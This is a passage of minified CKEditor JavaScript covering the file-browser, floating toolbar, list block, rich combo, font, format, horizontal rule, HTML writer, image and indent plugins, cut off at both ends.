b.CKEditor=a.name;b.CKEditorFuncNum=a._.filebrowserFn;b.langCode||(b.langCode=a.langCode);c.action=g(d.url,b);c.filebrowser=d}function j(a,c,d,b){if(b&&b.length)for(var e,g=b.length;g--;)if(e=b[g],("hbox"==e.type||"vbox"==e.type||"fieldset"==e.type)&&j(a,c,d,e.children),e.filebrowser)if("string"==typeof e.filebrowser&&(e.filebrowser={action:"fileButton"==e.type?"QuickUpload":"Browse",target:e.filebrowser}),"Browse"==e.filebrowser.action){var f=e.filebrowser.url;void 0===f&&(f=a.config["filebrowser"+
i(c)+"BrowseUrl"],void 0===f&&(f=a.config.filebrowserBrowseUrl));f&&(e.onClick=k,e.filebrowser.url=f,e.hidden=!1)}else if("QuickUpload"==e.filebrowser.action&&e["for"]&&(f=e.filebrowser.url,void 0===f&&(f=a.config["filebrowser"+i(c)+"UploadUrl"],void 0===f&&(f=a.config.filebrowserUploadUrl)),f)){var h=e.onClick;e.onClick=function(a){var b=a.sender;return h&&h.call(b,a)===false?false:l.call(b,a)};e.filebrowser.url=f;e.hidden=!1;m(a,d.getContents(e["for"][0]).get(e["for"][1]),e.filebrowser)}}function h(a,
c,d){if(-1!==d.indexOf(";")){for(var d=d.split(";"),b=0;b<d.length;b++)if(h(a,c,d[b]))return!0;return!1}return(a=a.getContents(c).get(d).filebrowser)&&a.url}function n(a,c){var d=this._.filebrowserSe.getDialog(),b=this._.filebrowserSe["for"],e=this._.filebrowserSe.filebrowser.onSelect;b&&d.getContentElement(b[0],b[1]).reset();if(!("function"==typeof c&&!1===c.call(this._.filebrowserSe))&&!(e&&!1===e.call(this._.filebrowserSe,a,c))&&("string"==typeof c&&c&&alert(c),a&&(b=this._.filebrowserSe,d=b.getDialog(),
b=b.filebrowser.target||null)))if(b=b.split(":"),e=d.getContentElement(b[0],b[1]))e.setValue(a),d.selectPage(b[0])}CKEDITOR.plugins.add("filebrowser",{requires:"popup",init:function(a){a._.filebrowserFn=CKEDITOR.tools.addFunction(n,a);a.on("destroy",function(){CKEDITOR.tools.removeFunction(this._.filebrowserFn)})}});CKEDITOR.on("dialogDefinition",function(a){if(a.editor.plugins.filebrowser)for(var c=a.data.definition,d,b=0;b<c.contents.length;++b)if(d=c.contents[b])j(a.editor,a.data.name,c,d.elements),
d.hidden&&d.filebrowser&&(d.hidden=!h(c,d.id,d.filebrowser))})})();(function(){function i(a){var j=a.config,m=a.fire("uiSpace",{space:"top",html:""}).html,p=function(){function f(a,c,e){b.setStyle(c,s(e));b.setStyle("position",a)}function e(a){var b=i.getDocumentPosition();switch(a){case "top":f("absolute","top",b.y-n-o);break;case "pin":f("fixed","top",t);break;case "bottom":f("absolute","top",b.y+(c.height||c.bottom-c.top)+o)}k=a}var k,i,l,c,h,n,r,m=j.floatSpaceDockedOffsetX||0,o=j.floatSpaceDockedOffsetY||0,q=j.floatSpacePinnedOffsetX||0,t=j.floatSpacePinnedOffsetY||
0;return function(d){if(i=a.editable())if(d&&"focus"==d.name&&b.show(),b.removeStyle("left"),b.removeStyle("right"),l=b.getClientRect(),c=i.getClientRect(),h=g.getViewPaneSize(),n=l.height,r="pageXOffset"in g.$?g.$.pageXOffset:CKEDITOR.document.$.documentElement.scrollLeft,k){n+o<=c.top?e("top"):n+o>h.height-c.bottom?e("pin"):e("bottom");var d=h.width/2,d=0<c.left&&c.right<h.width&&c.width>l.width?"rtl"==a.config.contentsLangDirection?"right":"left":d-c.left>c.right-d?"left":"right",f;l.width>h.width?
(d="left",f=0):(f="left"==d?0<c.left?c.left:0:c.right<h.width?h.width-c.right:0,f+l.width>h.width&&(d="left"==d?"right":"left",f=0));b.setStyle(d,s(("pin"==k?q:m)+f+("pin"==k?0:"left"==d?r:-r)))}else k="pin",e("pin"),p(d)}}();if(m){var i=new CKEDITOR.template('<div id="cke_{name}" class="cke {id} cke_reset_all cke_chrome cke_editor_{name} cke_float cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" title="'+(CKEDITOR.env.gecko?" ":"")+'" lang="{langCode}" role="application" style="{style}"'+
(a.title?' aria-labelledby="cke_{name}_arialbl"':" ")+">"+(a.title?'<span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span>':" ")+'<div class="cke_inner"><div id="{topId}" class="cke_top" role="presentation">{content}</div></div></div>'),b=CKEDITOR.document.getBody().append(CKEDITOR.dom.element.createFromHtml(i.output({content:m,id:a.id,langDir:a.lang.dir,langCode:a.langCode,name:a.name,style:"display:none;z-index:"+(j.baseFloatZIndex-1),topId:a.ui.spaceId("top"),voiceLabel:a.title}))),
q=CKEDITOR.tools.eventsBuffer(500,p),e=CKEDITOR.tools.eventsBuffer(100,p);b.unselectable();b.on("mousedown",function(a){a=a.data;a.getTarget().hasAscendant("a",1)||a.preventDefault()});a.on("focus",function(b){p(b);a.on("change",q.input);g.on("scroll",e.input);g.on("resize",e.input)});a.on("blur",function(){b.hide();a.removeListener("change",q.input);g.removeListener("scroll",e.input);g.removeListener("resize",e.input)});a.on("destroy",function(){g.removeListener("scroll",e.input);g.removeListener("resize",
e.input);b.clearCustomData();b.remove()});a.focusManager.hasFocus&&b.show();a.focusManager.add(b,1)}}var g=CKEDITOR.document.getWindow(),s=CKEDITOR.tools.cssLength;CKEDITOR.plugins.add("floatingspace",{init:function(a){a.on("loaded",function(){i(this)},null,null,20)}})})();CKEDITOR.plugins.add("listblock",{requires:"panel",onLoad:function(){var f=CKEDITOR.addTemplate("panel-list",'<ul role="presentation" class="cke_panel_list">{items}</ul>'),g=CKEDITOR.addTemplate("panel-list-item",'<li id="{id}" class="cke_panel_listItem" role=presentation><a id="{id}_option" _cke_focus=1 hidefocus=true title="{title}" href="javascript:void(\'{val}\')"  {onclick}="CKEDITOR.tools.callFunction({clickFn},\'{val}\'); return false;" role="option">{text}</a></li>'),h=CKEDITOR.addTemplate("panel-list-group",
'<h1 id="{id}" class="cke_panel_grouptitle" role="presentation" >{label}</h1>'),i=/\'/g;CKEDITOR.ui.panel.prototype.addListBlock=function(a,b){return this.addBlock(a,new CKEDITOR.ui.listBlock(this.getHolderElement(),b))};CKEDITOR.ui.listBlock=CKEDITOR.tools.createClass({base:CKEDITOR.ui.panel.block,$:function(a,b){var b=b||{},c=b.attributes||(b.attributes={});(this.multiSelect=!!b.multiSelect)&&(c["aria-multiselectable"]=!0);!c.role&&(c.role="listbox");this.base.apply(this,arguments);this.element.setAttribute("role",
c.role);c=this.keys;c[40]="next";c[9]="next";c[38]="prev";c[CKEDITOR.SHIFT+9]="prev";c[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(c[13]="mouseup");this._.pendingHtml=[];this._.pendingList=[];this._.items={};this._.groups={}},_:{close:function(){if(this._.started){var a=f.output({items:this._.pendingList.join("")});this._.pendingList=[];this._.pendingHtml.push(a);delete this._.started}},getClick:function(){this._.click||(this._.click=CKEDITOR.tools.addFunction(function(a){var b=this.toggle(a);
if(this.onClick)this.onClick(a,b)},this));return this._.click}},proto:{add:function(a,b,c){var d=CKEDITOR.tools.getNextId();this._.started||(this._.started=1,this._.size=this._.size||0);this._.items[a]=d;var e;e=CKEDITOR.tools.htmlEncodeAttr(a).replace(i,"\\'");a={id:d,val:e,onclick:CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick",clickFn:this._.getClick(),title:CKEDITOR.tools.htmlEncodeAttr(c||a),text:b||a};this._.pendingList.push(g.output(a))},startGroup:function(a){this._.close();
var b=CKEDITOR.tools.getNextId();this._.groups[a]=b;this._.pendingHtml.push(h.output({id:b,label:a}))},commit:function(){this._.close();this.element.appendHtml(this._.pendingHtml.join(""));delete this._.size;this._.pendingHtml=[]},toggle:function(a){var b=this.isMarked(a);b?this.unmark(a):this.mark(a);return!b},hideGroup:function(a){var b=(a=this.element.getDocument().getById(this._.groups[a]))&&a.getNext();a&&(a.setStyle("display","none"),b&&"ul"==b.getName()&&b.setStyle("display","none"))},hideItem:function(a){this.element.getDocument().getById(this._.items[a]).setStyle("display",
"none")},showAll:function(){var a=this._.items,b=this._.groups,c=this.element.getDocument(),d;for(d in a)c.getById(a[d]).setStyle("display","");for(var e in b)a=c.getById(b[e]),d=a.getNext(),a.setStyle("display",""),d&&"ul"==d.getName()&&d.setStyle("display","")},mark:function(a){this.multiSelect||this.unmarkAll();var a=this._.items[a],b=this.element.getDocument().getById(a);b.addClass("cke_selected");this.element.getDocument().getById(a+"_option").setAttribute("aria-selected",!0);this.onMark&&this.onMark(b)},
unmark:function(a){var b=this.element.getDocument(),a=this._.items[a],c=b.getById(a);c.removeClass("cke_selected");b.getById(a+"_option").removeAttribute("aria-selected");this.onUnmark&&this.onUnmark(c)},unmarkAll:function(){var a=this._.items,b=this.element.getDocument(),c;for(c in a){var d=a[c];b.getById(d).removeClass("cke_selected");b.getById(d+"_option").removeAttribute("aria-selected")}this.onUnmark&&this.onUnmark()},isMarked:function(a){return this.element.getDocument().getById(this._.items[a]).hasClass("cke_selected")},
focus:function(a){this._.focusIndex=-1;var b=this.element.getElementsByTag("a"),c,d=-1;if(a)for(c=this.element.getDocument().getById(this._.items[a]).getFirst();a=b.getItem(++d);){if(a.equals(c)){this._.focusIndex=d;break}}else this.element.focus();c&&setTimeout(function(){c.focus()},0)}}})}});CKEDITOR.plugins.add("richcombo",{requires:"floatpanel,listblock,button",beforeInit:function(d){d.ui.addHandler(CKEDITOR.UI_RICHCOMBO,CKEDITOR.ui.richCombo.handler)}});
(function(){var d='<span id="{id}" class="cke_combo cke_combo__{name} {cls}" role="presentation"><span id="{id}_label" class="cke_combo_label">{label}</span><a class="cke_combo_button" title="{title}" tabindex="-1"'+(CKEDITOR.env.gecko&&!CKEDITOR.env.hc?"":" href=\"javascript:void('{titleJs}')\"")+' hidefocus="true" role="button" aria-labelledby="{id}_label" aria-haspopup="true"';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(d+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(d+=' onblur="this.style.cssText = this.style.cssText;"');
var d=d+(' onkeydown="return CKEDITOR.tools.callFunction({keydownFn},event,this);" onfocus="return CKEDITOR.tools.callFunction({focusFn},event);" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},this);return false;"><span id="{id}_text" class="cke_combo_text cke_combo_inlinelabel">{label}</span><span class="cke_combo_open"><span class="cke_combo_arrow">'+(CKEDITOR.env.hc?"&#9660;":CKEDITOR.env.air?"&nbsp;":"")+"</span></span></a></span>"),
i=CKEDITOR.addTemplate("combo",d);CKEDITOR.UI_RICHCOMBO="richcombo";CKEDITOR.ui.richCombo=CKEDITOR.tools.createClass({$:function(a){CKEDITOR.tools.extend(this,a,{canGroup:!1,title:a.label,modes:{wysiwyg:1},editorFocus:1});a=this.panel||{};delete this.panel;this.id=CKEDITOR.tools.getNextNumber();this.document=a.parent&&a.parent.getDocument()||CKEDITOR.document;a.className="cke_combopanel";a.block={multiSelect:a.multiSelect,attributes:a.attributes};a.toolbarRelated=!0;this._={panelDefinition:a,items:{}}},
proto:{renderHtml:function(a){var b=[];this.render(a,b);return b.join("")},render:function(a,b){function g(){if(this.getState()!=CKEDITOR.TRISTATE_ON){var c=this.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED;a.readOnly&&!this.readOnly&&(c=CKEDITOR.TRISTATE_DISABLED);this.setState(c);this.setValue("");c!=CKEDITOR.TRISTATE_DISABLED&&this.refresh&&this.refresh()}}var d=CKEDITOR.env,h="cke_"+this.id,e=CKEDITOR.tools.addFunction(function(b){j&&(a.unlockSelection(1),j=0);c.execute(b)},
this),f=this,c={id:h,combo:this,focus:function(){CKEDITOR.document.getById(h).getChild(1).focus()},execute:function(c){var b=f._;if(b.state!=CKEDITOR.TRISTATE_DISABLED)if(f.createPanel(a),b.on)b.panel.hide();else{f.commit();var d=f.getValue();d?b.list.mark(d):b.list.unmarkAll();b.panel.showBlock(f.id,new CKEDITOR.dom.element(c),4)}},clickFn:e};a.on("activeFilterChange",g,this);a.on("mode",g,this);a.on("selectionChange",g,this);!this.readOnly&&a.on("readOnly",g,this);var k=CKEDITOR.tools.addFunction(function(b,
d){var b=new CKEDITOR.dom.event(b),g=b.getKeystroke();if(40==g)a.once("panelShow",function(a){a.data._.panel._.currentBlock.onKeyDown(40)});switch(g){case 13:case 32:case 40:CKEDITOR.tools.callFunction(e,d);break;default:c.onkey(c,g)}b.preventDefault()}),l=CKEDITOR.tools.addFunction(function(){c.onfocus&&c.onfocus()}),j=0;c.keyDownFn=k;d={id:h,name:this.name||this.command,label:this.label,title:this.title,cls:this.className||"",titleJs:d.gecko&&!d.hc?"":(this.title||"").replace("'",""),keydownFn:k,
focusFn:l,clickFn:e};i.output(d,b);if(this.onRender)this.onRender();return c},createPanel:function(a){if(!this._.panel){var b=this._.panelDefinition,d=this._.panelDefinition.block,i=b.parent||CKEDITOR.document.getBody(),h="cke_combopanel__"+this.name,e=new CKEDITOR.ui.floatPanel(a,i,b),f=e.addListBlock(this.id,d),c=this;e.onShow=function(){this.element.addClass(h);c.setState(CKEDITOR.TRISTATE_ON);c._.on=1;c.editorFocus&&!a.focusManager.hasFocus&&a.focus();if(c.onOpen)c.onOpen();a.once("panelShow",
function(){f.focus(!f.multiSelect&&c.getValue())})};e.onHide=function(b){this.element.removeClass(h);c.setState(c.modes&&c.modes[a.mode]?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED);c._.on=0;if(!b&&c.onClose)c.onClose()};e.onEscape=function(){e.hide(1)};f.onClick=function(a,b){c.onClick&&c.onClick.call(c,a,b);e.hide()};this._.panel=e;this._.list=f;e.getBlock(this.id).onHide=function(){c._.on=0;c.setState(CKEDITOR.TRISTATE_OFF)};this.init&&this.init()}},setValue:function(a,b){this._.value=a;var d=
this.document.getById("cke_"+this.id+"_text");d&&(!a&&!b?(b=this.label,d.addClass("cke_combo_inlinelabel")):d.removeClass("cke_combo_inlinelabel"),d.setText("undefined"!=typeof b?b:a))},getValue:function(){return this._.value||""},unmarkAll:function(){this._.list.unmarkAll()},mark:function(a){this._.list.mark(a)},hideItem:function(a){this._.list.hideItem(a)},hideGroup:function(a){this._.list.hideGroup(a)},showAll:function(){this._.list.showAll()},add:function(a,b,d){this._.items[a]=d||a;this._.list.add(a,
b,d)},startGroup:function(a){this._.list.startGroup(a)},commit:function(){this._.committed||(this._.list.commit(),this._.committed=1,CKEDITOR.ui.fire("ready",this));this._.committed=1},setState:function(a){if(this._.state!=a){var b=this.document.getById("cke_"+this.id);b.setState(a,"cke_combo");a==CKEDITOR.TRISTATE_DISABLED?b.setAttribute("aria-disabled",!0):b.removeAttribute("aria-disabled");this._.state=a}},getState:function(){return this._.state},enable:function(){this._.state==CKEDITOR.TRISTATE_DISABLED&&
this.setState(this._.lastState)},disable:function(){this._.state!=CKEDITOR.TRISTATE_DISABLED&&(this._.lastState=this._.state,this.setState(CKEDITOR.TRISTATE_DISABLED))}},statics:{handler:{create:function(a){return new CKEDITOR.ui.richCombo(a)}}}});CKEDITOR.ui.prototype.addRichCombo=function(a,b){this.add(a,CKEDITOR.UI_RICHCOMBO,b)}})();(function(){function j(a,b,c,f,m,j,p,r){for(var s=a.config,n=new CKEDITOR.style(p),i=m.split(";"),m=[],k={},d=0;d<i.length;d++){var h=i[d];if(h){var h=h.split("/"),q={},l=i[d]=h[0];q[c]=m[d]=h[1]||l;k[l]=new CKEDITOR.style(p,q);k[l]._.definition.name=l}else i.splice(d--,1)}a.ui.addRichCombo(b,{label:f.label,title:f.panelTitle,toolbar:"styles,"+r,allowedContent:n,requiredContent:n,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(s.contentsCss),multiSelect:!1,attributes:{"aria-label":f.panelTitle}},
init:function(){this.startGroup(f.panelTitle);for(var a=0;a<i.length;a++){var b=i[a];this.add(b,k[b].buildPreview(),b)}},onClick:function(b){a.focus();a.fire("saveSnapshot");var c=this.getValue(),f=k[b];if(c&&b!=c){var i=k[c],e=a.getSelection().getRanges()[0];if(e.collapsed){var d=a.elementPath(),g=d.contains(function(a){return i.checkElementRemovable(a)});if(g){var h=e.checkBoundaryOfElement(g,CKEDITOR.START),j=e.checkBoundaryOfElement(g,CKEDITOR.END);if(h&&j){for(h=e.createBookmark();d=g.getFirst();)d.insertBefore(g);
g.remove();e.moveToBookmark(h)}else h?e.moveToPosition(g,CKEDITOR.POSITION_BEFORE_START):j?e.moveToPosition(g,CKEDITOR.POSITION_AFTER_END):(e.splitElement(g),e.moveToPosition(g,CKEDITOR.POSITION_AFTER_END),o(e,d.elements.slice(),g));a.getSelection().selectRanges([e])}}else a.removeStyle(i)}a[c==b?"removeStyle":"applyStyle"](f);a.fire("saveSnapshot")},onRender:function(){a.on("selectionChange",function(b){for(var c=this.getValue(),b=b.data.path.elements,d=0,f;d<b.length;d++){f=b[d];for(var e in k)if(k[e].checkElementMatch(f,
!0,a)){e!=c&&this.setValue(e);return}}this.setValue("",j)},this)},refresh:function(){a.activeFilter.check(n)||this.setState(CKEDITOR.TRISTATE_DISABLED)}})}function o(a,b,c){var f=b.pop();if(f){if(c)return o(a,b,f.equals(c)?null:c);c=f.clone();a.insertNode(c);a.moveToPosition(c,CKEDITOR.POSITION_AFTER_START);o(a,b)}}CKEDITOR.plugins.add("font",{requires:"richcombo",init:function(a){var b=a.config;j(a,"Font","family",a.lang.font,b.font_names,b.font_defaultLabel,b.font_style,30);j(a,"FontSize","size",
a.lang.font.fontSize,b.fontSize_sizes,b.fontSize_defaultLabel,b.fontSize_style,40)}})})();CKEDITOR.config.font_names="Arial/Arial, Helvetica, sans-serif;Comic Sans MS/Comic Sans MS, cursive;Courier New/Courier New, Courier, monospace;Georgia/Georgia, serif;Lucida Sans Unicode/Lucida Sans Unicode, Lucida Grande, sans-serif;Tahoma/Tahoma, Geneva, sans-serif;Times New Roman/Times New Roman, Times, serif;Trebuchet MS/Trebuchet MS, Helvetica, sans-serif;Verdana/Verdana, Geneva, sans-serif";
CKEDITOR.config.font_defaultLabel="";CKEDITOR.config.font_style={element:"span",styles:{"font-family":"#(family)"},overrides:[{element:"font",attributes:{face:null}}]};CKEDITOR.config.fontSize_sizes="8/8px;9/9px;10/10px;11/11px;12/12px;14/14px;16/16px;18/18px;20/20px;22/22px;24/24px;26/26px;28/28px;36/36px;48/48px;72/72px";CKEDITOR.config.fontSize_defaultLabel="";CKEDITOR.config.fontSize_style={element:"span",styles:{"font-size":"#(size)"},overrides:[{element:"font",attributes:{size:null}}]};CKEDITOR.plugins.add("format",{requires:"richcombo",init:function(a){if(!a.blockless){for(var f=a.config,c=a.lang.format,j=f.format_tags.split(";"),d={},k=0,l=[],g=0;g<j.length;g++){var h=j[g],i=new CKEDITOR.style(f["format_"+h]);if(!a.filter.customConfig||a.filter.check(i))k++,d[h]=i,d[h]._.enterMode=a.config.enterMode,l.push(i)}0!==k&&a.ui.addRichCombo("Format",{label:c.label,title:c.panelTitle,toolbar:"styles,20",allowedContent:l,panel:{css:[CKEDITOR.skin.getPath("editor")].concat(f.contentsCss),
multiSelect:!1,attributes:{"aria-label":c.panelTitle}},init:function(){this.startGroup(c.panelTitle);for(var a in d){var e=c["tag_"+a];this.add(a,d[a].buildPreview(e),e)}},onClick:function(b){a.focus();a.fire("saveSnapshot");var b=d[b],e=a.elementPath();a[b.checkActive(e,a)?"removeStyle":"applyStyle"](b);setTimeout(function(){a.fire("saveSnapshot")},0)},onRender:function(){a.on("selectionChange",function(b){var e=this.getValue(),b=b.data.path;this.refresh();for(var c in d)if(d[c].checkActive(b,a)){c!=
e&&this.setValue(c,a.lang.format["tag_"+c]);return}this.setValue("")},this)},onOpen:function(){this.showAll();for(var b in d)a.activeFilter.check(d[b])||this.hideItem(b)},refresh:function(){var b=a.elementPath();if(b){if(b.isContextFor("p"))for(var c in d)if(a.activeFilter.check(d[c]))return;this.setState(CKEDITOR.TRISTATE_DISABLED)}}})}}});CKEDITOR.config.format_tags="p;h1;h2;h3;h4;h5;h6;pre;address;div";CKEDITOR.config.format_p={element:"p"};CKEDITOR.config.format_div={element:"div"};
CKEDITOR.config.format_pre={element:"pre"};CKEDITOR.config.format_address={element:"address"};CKEDITOR.config.format_h1={element:"h1"};CKEDITOR.config.format_h2={element:"h2"};CKEDITOR.config.format_h3={element:"h3"};CKEDITOR.config.format_h4={element:"h4"};CKEDITOR.config.format_h5={element:"h5"};CKEDITOR.config.format_h6={element:"h6"};(function(){var b={canUndo:!1,exec:function(a){var b=a.document.createElement("hr");a.insertElement(b)},allowedContent:"hr",requiredContent:"hr"};CKEDITOR.plugins.add("horizontalrule",{init:function(a){a.blockless||(a.addCommand("horizontalrule",b),a.ui.addButton&&a.ui.addButton("HorizontalRule",{label:a.lang.horizontalrule.toolbar,command:"horizontalrule",toolbar:"insert,40"}))}})})();CKEDITOR.plugins.add("htmlwriter",{init:function(b){var a=new CKEDITOR.htmlWriter;a.forceSimpleAmpersand=b.config.forceSimpleAmpersand;a.indentationChars=b.config.dataIndentationChars||"\t";b.dataProcessor.writer=a}});
CKEDITOR.htmlWriter=CKEDITOR.tools.createClass({base:CKEDITOR.htmlParser.basicWriter,$:function(){this.base();this.indentationChars="\t";this.selfClosingEnd=" />";this.lineBreakChars="\n";this.sortAttributes=1;this._.indent=0;this._.indentation="";this._.inPre=0;this._.rules={};var b=CKEDITOR.dtd,a;for(a in CKEDITOR.tools.extend({},b.$nonBodyContent,b.$block,b.$listItem,b.$tableContent))this.setRules(a,{indent:!b[a]["#"],breakBeforeOpen:1,breakBeforeClose:!b[a]["#"],breakAfterClose:1,needsSpace:a in
b.$block&&!(a in{li:1,dt:1,dd:1})});this.setRules("br",{breakAfterOpen:1});this.setRules("title",{indent:0,breakAfterOpen:0});this.setRules("style",{indent:0,breakBeforeClose:1});this.setRules("pre",{breakAfterOpen:1,indent:0})},proto:{openTag:function(b){var a=this._.rules[b];this._.afterCloser&&(a&&a.needsSpace&&this._.needsSpace)&&this._.output.push("\n");this._.indent?this.indentation():a&&a.breakBeforeOpen&&(this.lineBreak(),this.indentation());this._.output.push("<",b);this._.afterCloser=0},
openTagClose:function(b,a){var c=this._.rules[b];a?(this._.output.push(this.selfClosingEnd),c&&c.breakAfterClose&&(this._.needsSpace=c.needsSpace)):(this._.output.push(">"),c&&c.indent&&(this._.indentation+=this.indentationChars));c&&c.breakAfterOpen&&this.lineBreak();"pre"==b&&(this._.inPre=1)},attribute:function(b,a){"string"==typeof a&&(this.forceSimpleAmpersand&&(a=a.replace(/&amp;/g,"&")),a=CKEDITOR.tools.htmlEncodeAttr(a));this._.output.push(" ",b,'="',a,'"')},closeTag:function(b){var a=this._.rules[b];
a&&a.indent&&(this._.indentation=this._.indentation.substr(this.indentationChars.length));this._.indent?this.indentation():a&&a.breakBeforeClose&&(this.lineBreak(),this.indentation());this._.output.push("</",b,">");"pre"==b&&(this._.inPre=0);a&&a.breakAfterClose&&(this.lineBreak(),this._.needsSpace=a.needsSpace);this._.afterCloser=1},text:function(b){this._.indent&&(this.indentation(),!this._.inPre&&(b=CKEDITOR.tools.ltrim(b)));this._.output.push(b)},comment:function(b){this._.indent&&this.indentation();
this._.output.push("<\!--",b,"--\>")},lineBreak:function(){!this._.inPre&&0<this._.output.length&&this._.output.push(this.lineBreakChars);this._.indent=1},indentation:function(){!this._.inPre&&this._.indentation&&this._.output.push(this._.indentation);this._.indent=0},reset:function(){this._.output=[];this._.indent=0;this._.indentation="";this._.afterCloser=0;this._.inPre=0},setRules:function(b,a){var c=this._.rules[b];c?CKEDITOR.tools.extend(c,a,!0):this._.rules[b]=a}}});(function(){function e(b,a){a||(a=b.getSelection().getSelectedElement());if(a&&a.is("img")&&!a.data("cke-realelement")&&!a.isReadOnly())return a}function f(b){var a=b.getStyle("float");if("inherit"==a||"none"==a)a=0;a||(a=b.getAttribute("align"));return a}CKEDITOR.plugins.add("image",{requires:"dialog",init:function(b){if(!b.plugins.image2){CKEDITOR.dialog.add("image",this.path+"dialogs/image.js");var a="img[alt,!src]{border-style,border-width,float,height,margin,margin-bottom,margin-left,margin-right,margin-top,width}";
CKEDITOR.dialog.isTabEnabled(b,"image","advanced")&&(a="img[alt,dir,id,lang,longdesc,!src,title]{*}(*)");b.addCommand("image",new CKEDITOR.dialogCommand("image",{allowedContent:a,requiredContent:"img[alt,src]",contentTransformations:[["img{width}: sizeToStyle","img[width]: sizeToAttribute"],["img{float}: alignmentToStyle","img[align]: alignmentToAttribute"]]}));b.ui.addButton&&b.ui.addButton("Image",{label:b.lang.common.image,command:"image",toolbar:"insert,10"});b.on("doubleclick",function(b){var a=
b.data.element;a.is("img")&&(!a.data("cke-realelement")&&!a.isReadOnly())&&(b.data.dialog="image")});b.addMenuItems&&b.addMenuItems({image:{label:b.lang.image.menu,command:"image",group:"image"}});b.contextMenu&&b.contextMenu.addListener(function(a){if(e(b,a))return{image:CKEDITOR.TRISTATE_OFF}})}},afterInit:function(b){function a(a){var d=b.getCommand("justify"+a);if(d){if("left"==a||"right"==a)d.on("exec",function(d){var c=e(b),g;c&&(g=f(c),g==a?(c.removeStyle("float"),a==f(c)&&c.removeAttribute("align")):
c.setStyle("float",a),d.cancel())});d.on("refresh",function(d){var c=e(b);c&&(c=f(c),this.setState(c==a?CKEDITOR.TRISTATE_ON:"right"==a||"left"==a?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),d.cancel())})}}b.plugins.image2||(a("left"),a("right"),a("center"),a("block"))}})})();CKEDITOR.config.image_removeLinkByEmptyURL=!0;(function(){function k(a,b){var e,f;b.on("refresh",function(a){var b=[i],c;for(c in a.data.states)b.push(a.data.states[c]);this.setState(CKEDITOR.tools.search(b,m)?m:i)},b,null,100);b.on("exec",function(b){e=a.getSelection();f=e.createBookmarks(1);b.data||(b.data={});b.data.done=!1},b,null,0);b.on("exec",function(){a.forceNextSelectionCheck();e.selectBookmarks(f)},b,null,100)}var i=CKEDITOR.TRISTATE_DISABLED,m=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add("indent",{init:function(a){var b=CKEDITOR.plugins.indent.genericDefinition;
k(a,a.addCommand("indent",new b(!0)));k(a,a.addCommand("outdent",new b));a.ui.addButton&&(a.ui.addButton("Indent",{label:a.lang.indent.indent,command:"indent",directional:!0,toolbar:"indent,20"}),a.ui.addButton("Outdent",{label:a.lang.indent.outdent,command:"outdent",directional:!0,toolbar:"indent,10"}));a.on("dirChanged",function(b){var f=a.createRange(),j=b.data.node;f.setStartBefore(j);f.setEndAfter(j);for(var l=new CKEDITOR.dom.walker(f),c;c=l.next();)if(c.type==CKEDITOR.NODE_ELEMENT)if(!c.equals(j)&&
c.getDirection()){f.setStartAfter(c);l=new CKEDITOR.dom.walker(f)}else{var d=a.config.indentClasses;if(d)for(var g=b.data.dir=="ltr"?["_rtl",""]:["","_rtl"],h=0;h<d.length;h++)if(c.hasClass(d[h]+g[0])){c.removeClass(d[h]+g[0]);c.addClass(d[h]+g[1])}d=c.getStyle("margin-right");g=c.getStyle("margin-left");d?c.setStyle("margin-left",d):c.removeStyle("margin-left");g?c.setStyle("margin-right",g):c.removeStyle("margin-right")}})}});CKEDITOR.plugins.indent={genericDefinition:function(a){this.isIndent=
!!a;this.startDisabled=!this.isIndent},specificDefinition:function(a,b,e){this.name=b;this.editor=a;this.jobs={};this.enterBr=a.config.enterMode==CKEDITOR.ENTER_BR;this.isIndent=!!e;this.relatedGlobal=e?"indent":"outdent";this.indentKey=e?9:CKEDITOR.SHIFT+9;this.database={}},registerCommands:function(a,b){a.on("pluginsLoaded",function(){for(var a in b)(function(a,b){var e=a.getCommand(b.relatedGlobal),c;for(c in b.jobs)e.on("exec",function(d){d.data.done||(a.fire("lockSnapshot"),b.execJob(a,c)&&(d.data.done=
!0),a.fire("unlockSnapshot"),CKEDITOR.dom.element.clearAllMarkers(b.database))},this,null,c),e.on("refresh",function(d){d.data.states||(d.data.states={});d.data.states[b.name+"@"+c]=b.refreshJob(a,c,d.data.path)},this,null,c);a.addFeature(b)})(this,b[a])})}};CKEDITOR.plugins.indent.genericDefinition.prototype={context:"p",exec:function(){}};CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(a,b){var e=this.jobs[b];if(e.state!=i)return e.exec.call(this,a)},refreshJob:function(a,
b,e){b=this.jobs[b];b.state=a.activeFilter.checkFeature(this)?b.refresh.call(this,a,e):i;return b.state},getContext:function(a){return a.contains(this.context)}}})();(function(){function s(c){function f(b){for(var e=d.startContainer,a=d.endContainer;e&&!e.getParent().equals(b);)e=e.getParent();for(;a&&!a.getParent().equals(b);)a=a.getParent();if(!e||!a)return!1;for(var g=e,e=[],i=!1;!i;)g.equals(a)&&(i=!0),e.push(g),g=g.getNext();if(1>e.length)return!1;g=b.getParents(!0);for(a=0;a<g.length;a++)if(g[a].getName&&m[g[a].getName()]){b=g[a];break}for(var g=j.isIndent?1:-1,a=e[0],e=e[e.length-1],i=CKEDITOR.plugins.list.listToArray(b,n),l=i[e.getCustomData("listarray_index")].indent,
a=a.getCustomData("listarray_index");a<=e.getCustomData("listarray_index");a++)if(i[a].indent+=g,0<g){var h=i[a].parent;i[a].parent=new CKEDITOR.dom.element(h.getName(),h.getDocument())}for(a=e.getCustomData("listarray_index")+1;a<i.length&&i[a].indent>l;a++)i[a].indent+=g;e=CKEDITOR.plugins.list.arrayToList(i,n,null,c.config.enterMode,b.getDirection());if(!j.isIndent){var f;if((f=b.getParent())&&f.is("li"))for(var g=e.listNode.getChildren(),o=[],k,a=g.count()-1;0<=a;a--)(k=g.getItem(a))&&(k.is&&
